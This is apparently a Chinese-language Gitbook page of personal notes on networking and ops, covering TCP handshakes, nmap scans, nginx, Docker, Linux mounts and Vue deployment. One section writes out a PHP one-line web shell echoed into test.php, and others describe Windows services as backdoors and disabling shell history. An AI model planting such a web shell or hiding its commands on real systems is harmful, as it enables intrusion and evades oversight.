详细解释TCP三次握手

客户端在打算建立TCP连接时,向服务器发出连接请求报文,这时首部中的同部位SYN = 1,同时选择一个初始序号 seq = x,这时TCP客户程序进入SYN-SENT(同步已发送)状态

服务端在收到请求报文段后,如果同意建立连接,那么就向客户端发送确认。在确认报文段中将SYN,ACK = 1,确认号是ack = x + 1,并同时为自己选择一个初始序号seq = y,这时TCP服务器进入SYN-RCVD(同步收到)状态

TCP客户端收到服务端的确认之后,还要向服务端给出确认,确认报文ACK = 1,确认号ack = y + 1 , seq = x + 1,此时TCP连接已经建立,客户端进入ESTABLISHED(已建立连接)状态

备注:

确认号ack,是期望收到下一个报文段的第一个数据字节的序号

初始序列seq

同步SYN,在建立连接用来的同步序号,SYN置1就表示这是一个连接请求或连接接受报文

确认ACK,仅当ACK=1,确认号字段才有效,TCP规定,在连接建立后所有的传送报文都必须把ACK置1

为什么客户端第二次握手之后,还要最后确认一次?

主要是为了防止已经失效的连接请求报文段突然又传送到了服务端,因而产生错误

正常情况:客户端发送连接请求,但因连接请求报文丢失而服务端未收到确认,于是客户端再重传一次连接请求。后面收到了确认,建立了连接。客户端发送了连个连接请求报文,其中第一个丢失,第二个到达服务端,没有“已经失效的连接请求报文”

异常情况:客户端发送连接请求,但连接请求报文并未丢失而是在某些网络节点长时间滞留了,以致于连接释放后的某个时间才到达服务端。服务端上一个连接已经释放后,现在接收到客户端“新的”连接请求报文(第一次滞留的报文),那么服务端向客户端发送确认报文,同意建立连接,那么两次握手,现在又会建立起新的连接

谈谈TCP 四次挥手

1.客户端把连接释放报文段首部的FIN(终止控制位)置 1,其序号 seq = u,这时客户端进入FIN-WAIT-1(终止等待1)状态

2.服务端收到连接释放报文后发出确认,ACK = 1,确认号是ack = u+1, 而这个报文的序号是 seq = v,然后服务端就进入CLOSE-WAIT(关闭等待)状态

此时客户端——>服务端这个方向上的连接就释放了,此时TCP处于半关闭状态,若服务端要给客户端发送数据,客户端还可以接收,客户端接收到服务端的之后,进入FIN-WAIT-2(终止等待2)状态,等待服务端发出连接释放报文段

3.若服务端没有要向客户端发送的数据,那么服务端通知TCP释放连接。服务端发出的连接释放报文必须使FIN = 1,确认报文ACK = 1,假设序列号seq = w;服务端还要重复上次发送的确认号,ack = u + 1 ,这是服务端进入LAST-ACK(最后确认状态),等待客户端确认

4.客户端收到服务端的连接释放报文之后,必须对此发出确认,在确认报文中,ACK = 1 ,确认号ack = w+1,seq = u + 1,此时服务端则关闭,客户端需要等待2MSL时间,才能关闭

NMAP 扫描端口半连接,全连接区别?

半连接扫描(TCP SYN扫描):这是一种秘密的扫描方式之一,因为在SYN扫描中Client和Server端没有形成3次握手,没有建立一个正常的TCP连接,因此不会被防火墙和IDS所记录,一般不会再目标主机上留下任何痕迹,但是这种扫描需要root权限

全连接扫描(TCP Connect扫描)这是一种普通的扫描方式,特点是:扫描速度快,准确性高,对操作者没有权限上的要求,但是容易被防火墙和IDS发现,扫描原理则是建立一个TCP连接

CentOS 7 编译安装nginx,如何将其加入到服务(nginx.service)?

# 默认编译安装到/usr/local/nginx
# 在 /usr/lib/systemd/system/目录下创建服务
cd /usr/lib/systemd/system/
touch nginx.service
vim nginx.service
# 添加如下内容
[Unit]
Description=nginx - high performance web server
Documentation=http://nginx.org/en/docs/
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
PIDFile=/usr/local/nginx/logs/nginx.pid
ExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.conf
ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true

[Install]
WantedBy=multi-user.target

Linux 写入/usr/lib/systemd/system/xxx.service 不生效解决办法

systemctl daemon-reload

nginx 如何配置Basic认证?

配置nginx,新增server节点 针对es 配置 nginx basic 认证

server {
        listen          9201;
        server_name     elasticSearch;
        location / {
            proxy_pass  http://127.0.0.1:9200/;
            auth_basic  "nginx basic http for es";
            auth_basic_user_file conf.d/passwd;
            autoindex   on;
        }
}

再使用 openssl 或者htpasswd 生成密码文件(推荐使用openssl,系统自带,htpasswd可自行查询),格式如下: 此处conf.d/passwd 是在/usr/local/nginx/conf/conf.d/passwd

# openssl(默认自带)
printf "your_username:$(openssl passwd -crypt your_password)\n" >> conf.d/passwd

生成密码之后,使用如下命令检查配置文件是否正确

nginx -t

重启nginx

docker Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

背景

由于尝试做docker api 未授权rce 漏洞,将docker.service 中的ExecStart 修改成了对外开放2375端口,最后测试完毕之后,将注释去掉之后,systemctl daemon-reload 之后启动成功之后,报错如下:

Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

且查看 systemctl status docker ,发现目标为active:running,且无/var/run/docker.sock文件

解决办法

将fd:// 更改为 unix://,然后重新加载systemctl daemon-reloadsystemctl restart docker image.png

Docker启动镜像

在docker 中 要找一个新的镜像,我们首先要查看需要下载的镜像,这里以mysql举例

docker search mysql

image.png

docker pull mysql

拉取完成之后,查看所有的镜像

docker images -a

image.png

启动镜像

docker run -p 本机映射端口:镜像映射端口 -d --name 启动镜像名称 -e 镜像启动参数 镜像名称:版本
# -p 本机端口和容器端口映射
# -d 后台运行
# --name 容器名称
# -e 镜像启动参数

例:https://hub.docker.com/_/mysql

docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag

查看相关参数从hub.docker.com 中寻找,或者网传使用runlike

docker run -p 3306:3306 -d --name mysql-aaron -e MYSQL_ROOT_PASSWORD=admin mysql:latest

运行完之后就可以看到容器已经启动 image.png

Docker清除缓存

docker system prune --volumes

umount devices is busy?

NFS未授权挂载经常会出现此类问题 原因:因为有多个进程在使用,所以无法取消挂载,当将所有的进程kill掉之后,再umount即可 使用fuser命令罗列出pid

fuser -v -m <mount_dir>

-v 表示 verbose 模式。进程以 ps 的方式显示,包括 PID、USER、COMMAND、ACCESS 字段 -m 表示指定文件所在的文件系统或者块设备(处于 mount 状态)。所有访问该文件系统的进程都被列出。

linux history添加执行的时间

bash shell

编辑/etc/profile 在最下方添加

HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S"

保存后退出,执行


source /etc/profile

效果如下 image.png zsh 不需要配置,只需要执行

# 标准日期
history -i
# 英文日期
history -E

image.png

登录shell,执行命令使其不保存至history?

set +o history

image.png

image.png

如何查看文件md5,sha1,sha256等(主要是windows)

Linux

在linux中,查看文件md5,sha1,sha256等等都很简单,只需要键入命令

md5sum output       
b5cd11c42c9031cad6515ff62f4e03ac  output
sha1sum output  
6c2c76a15c272db2b582e8f7d47c1f64b9b2f32c  output
sha256sum output
a4ed89f176e5200ebe571631bd2fdb0d6e18a9ce7b5d78eb69b4a3abd538898b  output

windows

certutil -hashfile <filename> MD5
certutil -hashfile <filename> SHA1
certutil -hashfile <filename> SHA256

windows 新建删除服务

常常用作后门

删除服务

sc delete 服务名称

新建服务

sc create monitor binpath= "可执行文件exe绝对路径 --service -r 可执行文件根路径" displayname= "监控文件夹" start= auto
# sc create monitor binpath= "D:\Software\OtherTool\MonitorFolder.exe --service -r D:\Software\OtherTool" displayname= "监控文件夹" start= auto

Linux 安装pip2,pip3

// pip2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

// pip3
wget https://bootstrap.pypa.io/get-pip.py
# 如果这里报错 ModuleNotFoundError: No module named 'distutils.util'
# 执行如命令
apt install -f 
apt-get install python3-distutils
python3 get-pip.py

Linux 更新pip2 pip3

python2 -m pip install --upgrade pip
python3 -m pip install --upgrade pip

Linux 启动IDEA 报错 Error opening zip file or JAR manifest missing : /home/luogan/.jetbrains/jetbrains-agent-v3.2.0.de72.619 Error occurred during initialization of VM

背景

重装了idea,之前使用激活工具激活

find / -name "*vmoptions*"

image.png 删除/home/${User}/.IntelliJIdea2019.3/即可

Linux 配置开机自动挂载硬盘

背景

由于公司新发的thinkpad是SSD + HD ,我将操作系统装在了固态硬盘上,但是固态硬盘只有128G,HD却有500G,所以我只有格式化硬盘,将其挂载到我的硬盘上,具体如下所示 首先我们知道Linux是文件系统,硬盘也不例外,硬盘的标识是在/dev/sda0-6

sudo fdisk -l

image.png 可以看到我这里的硬盘是/dev/sda1,那么我将其挂载上的命令如下

sudo mount /dev/sda1 /my_HD
mount | grep my_HD

image.png

df -h

image.png 手动挂载虽然也行,但是毕竟不是服务器,不会不关机,那么就需要开机自动挂载硬盘

自动挂载

使用blkid命令查看磁盘uuid

sudo blkid

image.png 可以看到/dev/sda1就是我的硬盘,Type是ext4,需要关注一下Type,linux 分区一般为 ext4,windows 分区一般为 ntfs 编辑/etc/fstab,将分区信息写入 /etc/fstab 文件启动自动挂载

sudo vim /etc/fstab

image.png

UUID=744c071c-5e78-4dab-9d4c-cac5ea8e975d       /my_HD  ext4    defaults        0       1
注:<fs spec> <fs file> <fs vfstype> <fs mntops> <fs freq> <fs passno>
<fs spec>:分区定位,可以给UUID或LABEL,例如:UUID=6E9ADAC29ADA85CD或LABEL=software
<fs file>:具体挂载点的位置,例如:/data<fs vfstype>:挂载磁盘类型,linux 分区一般为 ext4,windows 分区一般为 ntfs
<fs mntops>:挂载参数,一般为defaults
<fs freq>:磁盘检查,默认为0
<fs passno>:磁盘检查,默认为0,不需要检查

第一个叫fs_freq,用来决定哪一个文件系统需要执行dump操作,0就是不需要;
第二个叫fs_passno,是系统重启时fsck程序检测磁盘的顺序号 1 是root文件系统,2 是别的文件系统。fsck按序号检测磁盘,0表示该文件系统不被检测 dump 执行ext2的文件系统的备份操作 fsck 检测和修复文件系统

修改完成之后,执行

sudo mount -a

rpm 包与 deb包相互转换

sudo apt intall alien
sudo alien XMind-for-Linux-x86-64bit-11.0.1-202106220606.rpm

image.png

Linux 执行命令时错误返回在shell时,如何将其去掉?

一般正常情况下,shell会将所有的信息返回回来,如果此时需要去除错误,只需要执行成功的信息,只需要将错误重定向到某个文件即可,我在DNS隧道反弹shell总结过,其中xxx 表示执行的代码,2表示错误

xxx 2 > error

windows 和 Linux shell的转义符

写一个一句话

# windows
echo ^<?php @eval(^$_POST['cmd']); ?^> > test.php
# Linux
echo "<?php @eval(\$_POST['cmd']);?>" > test.php
echo \<\?php \@eval\(\$_POST\[\'cmd\'\]\)\;\?\> > test.php

image.png

image.png

image.png

windows、Linux 在终端中如何设置临时代理

临时代理设置如下

windows

cmd shell

set http_proxy=127.0.0.1:10809
set https_proxy=127.0.0.1:10809

powershell

$env:HTTP_PROXY="127.0.0.1:10809"
$env:HTTPS_PROXY="127.0.0.1:10809"

Linux

export http_proxy=127.0.0.1:10809
export https_proxy=127.0.0.1:10809

Linux 更新系统字体

首先下载tff文件 然后执行如下命令

sudo mkdir /usr/share/fonts/msyh
sudo cp *.ttf /usr/share/fonts/msyh/
sudo fc-cache -fv

JDK1.7 在macos版本的idea 运行警告

/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA.app/Contents/lib/idea_rt.jar=63173:/Applications/IntelliJ IDEA.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/htmlconverter.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-doclet.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/tools.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/Project/target/classes:/Users/aaronluo/.m2/repository/org/javassist/javassist/3.19.0-GA/javassist-3.19.0-GA.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections-3.1/commons-collections-3.1.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections4-4.0/commons-collections4-4.0.jar com.myproject.TestCC7
objc[20911]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java (0x1081794c0) and /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10833f4e0). One of the two will be used. Which one is undefined.

Process finished with exit code 0

image.png

该问题主要出现于 Mac 版本的 IntelliJ IDEA 之中,而引起该问题的原因,则是 Mac 中 JDK 的一个 BUG,如果你是jdk1.8.0_152之前的版本。它是由启动应用程序时 IDE 使用的 Java 代理触发的,此警告是无害的,我们可以安全地忽略,并且该问题已经在后续的 JDK 中得到了解决。

解决方式

既然该问题是由于 IDEA 启用代理引起的,那么我们禁止 IDEA 启动代理,即可解决该问题。

image.png

image.png

添加如下所示,并重启idea即可

idea.no.launcher=true

当然还可以升级JDK 到1.8.0_152+

MacOS docker 换源

安装好macos 下的docker 之后,直接点击Preferences,或者在桌面版点击齿轮图标,选中Docker Engine

image.png

image.png

修改如下

{
  "debug": true,
  "experimental": false,
  "registry-mirrors": [
    "https://docker.mirrors.ustc.edu.cn",
    "https://hub-mirror.c.163.com"
  ]
}

image.png

最后点击右下角的apply & Restart 在命令行执行docker info命令就可以看到换好后的源

Kali 2019.4 换源之后,apt update 报错

root@kali:/usr# apt-get update
获取:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease [30.5 kB]
错误:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease
  下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
已下载 30.5 kB,耗时 0(32.6 kB/s)
正在读取软件包列表... 完成
W: 校验数字签名时出错。此仓库未被更新,所以仍然使用此前的索引文件。GPG 错误:http://mirrors.ustc.edu.cn/kali kali-rolling InRelease: 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
W: 无法下载 http://mirrors.ustc.edu.cn/kali/dists/kali-rolling/InRelease  下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>

解决方案 从官网下载签名并安装

wget archive.kali.org/archive-key.asc  
apt-key add archive-key.asc

gitbook-summary 生成目录,在目录中存在空格无法跳转

由于book命令是新版本,导致无法跳转,因为会将空格转移成%20,在git serve的时候无法将%20解析,不能生成html,所以还是md,生成之后就没有web链接

解决办法:

降级到1.2.2版本

npm install -g gitbook-summary@1.2.2

Vue 打包上线至Nginx

# vue-cli
npm run build
# nginx.conf
server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;


        location ^~ / {
            root   html/threat/;
            try_files $uri $uri/        /index.html
            index  index.html index.htm;
            #index  index.html index.htm;
        }

        location /api/ {
                proxy_pass http://<反向代理地址>/;
        }
        ...
}

Nodejs 连接MySQL8 问题

Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client
    at Handshake.Sequence._packetToError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Sequence.js:47:14)
    at Handshake.ErrorPacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Handshake.js:123:18)
    at Protocol._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:291:23)
    at Parser._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:433:10)
    at Parser.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:43:10)
    at Protocol.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:38:16)
    at Socket.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:88:28)
    at Socket.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:526:10)
    at Socket.emit (node:events:527:28)
    at addChunk (node:internal/streams/readable:315:12)
    --------------------
    at Protocol._enqueue (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:144:48)
    at Protocol.handshake (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:51:23)
    at Connection.connect (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:116:18)
    at Object.<anonymous> (/Users/aaronluo/Desktop/html/node/sql.js:9:5)
    at Module._compile (node:internal/modules/cjs/loader:1105:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Module.require (node:internal/modules/cjs/loader:1005:19)
    at require (node:internal/modules/cjs/helpers:102:18)
Emitted 'error' event on Connection instance at:
    at Connection._handleProtocolError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:423:8)
    at Protocol.emit (node:events:527:28)
    at Protocol._delegateError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:398:10)
    at Handshake.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:153:12)
    at Handshake.emit (node:events:527:28)
    at Handshake.Sequence.end (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Sequence.js:78:12)
    at Handshake.ErrorPacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Handshake.js:125:8)
    at Protocol._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:291:23)
    at Parser._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:433:10)
    at Parser.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:43:10) {
  code: 'ER_NOT_SUPPORTED_AUTH_MODE',
  errno: 1251,
  sqlMessage: 'Client does not support authentication protocol requested by server; consider upgrading MySQL client',
  sqlState: '08004',
  fatal: true
}
[nodemon] app crashed - waiting for file changes before starting...

导致这个错误的原因是,目前,最新的mysql模块并未完全支持MySQL 8的“caching_sha2_password”加密方式,而“caching_sha2_password”在MySQL 8中是默认的加密方式。因此,下面的方式命令是默认已经使用了“caching_sha2_password”加密方式,该账号、密码无法在mysql模块中使用。

解决方法是重新修改用户root的密码,并指定mysql模块能够支持的加密方式:在mysql内执行下面命令

ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'admin';

Javascript removeChild()遍历删除节点之后实际上并没有删除

在for循环的时候一定要倒序删除,才能避免删不干净的情况。浏览器会把空行当做一个子节点,会占一行位置,导致删除失败。

let ol = document.getElementById('ol_id_content')
let liArray = ol.childNodes
  if(liArray.length > 0){
    for(let i = liArray.length - 1 ;i > 0; i --){
      ol.removeChild(liArray[i])
    }
  }`

vue3 编译报 ESLint: ‘defineProps‘ is not defined no-undef 错误问题

在/package.json的eslintConfig.env中加入一行:

"vue/setup-compiler-macros": true

image-20230619145451617

nginx 访问路径末尾带/可以访问,不带则直接重定向到80端口的相对路径

server(或http, location) 节点添加上

absolute_redirect   off;

Nginx 部署vue项目,需要将项目配置到非根目录(如/admin路径)

首先在vue.config.js中添加

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  publicPath: '/admin/',
})

然后在router/index.js中配置

const router = createRouter({
  history: createWebHashHistory(process.env.BASE_URL),
  base: process.env.BASE_URL,
  routes
})

打包之后在nginx中配置

location /admin {
        absolute_redirect   off;
        alias /etc/nginx/html/admin/;
        try_files $uri $uri/    /admin/index.html;
        index index.html index.htm;
    }
Copyright © aaron 2023 all right reserved,powered by Gitbook该文章修订时间: 2023-08-16 01:40:12

results matching ""

    No results matching ""